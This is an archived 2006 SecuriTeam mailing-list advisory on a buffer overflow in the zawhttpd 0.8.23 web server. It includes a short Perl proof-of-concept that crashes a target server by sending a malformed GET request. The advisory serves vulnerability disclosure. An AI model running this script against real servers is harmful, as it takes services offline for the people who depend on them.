[EXPL] zawhttpd Buffer Overflow (Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 4 May 2006 16:48:24 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
zawhttpd Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://www.norz.org/zawhttpd.html> zawhttpd is a small http server."
Improper handling of HTTP headers allows attackers to cause a buffer
overflow and execute arbitrary code or crash zawhttpd.
DETAILS
Vulnerable Systems:
* zawhttpd version 0.8.23
Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki
use IO::Socket;
use strict;
my($socket) = "";
if($socket = IO::Socket::INET->new(
PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
close($socket);
}
else
{
print "perl zawhttpd.pl localhost 80 \n";
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#EoF
ADDITIONAL INFORMATION
The information has been provided by ">Kamil 'K3' Sienicki.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Microsoft ISA Server 2004 Log Manipulation
- Next by Date: [UNIX] Quagga RIPD Multiple Route Injection Vulnerabilities
- Previous by thread: [NT] Microsoft ISA Server 2004 Log Manipulation
- Next by thread: [UNIX] Quagga RIPD Multiple Route Injection Vulnerabilities
- Index(es):
Relevant Pages
|
|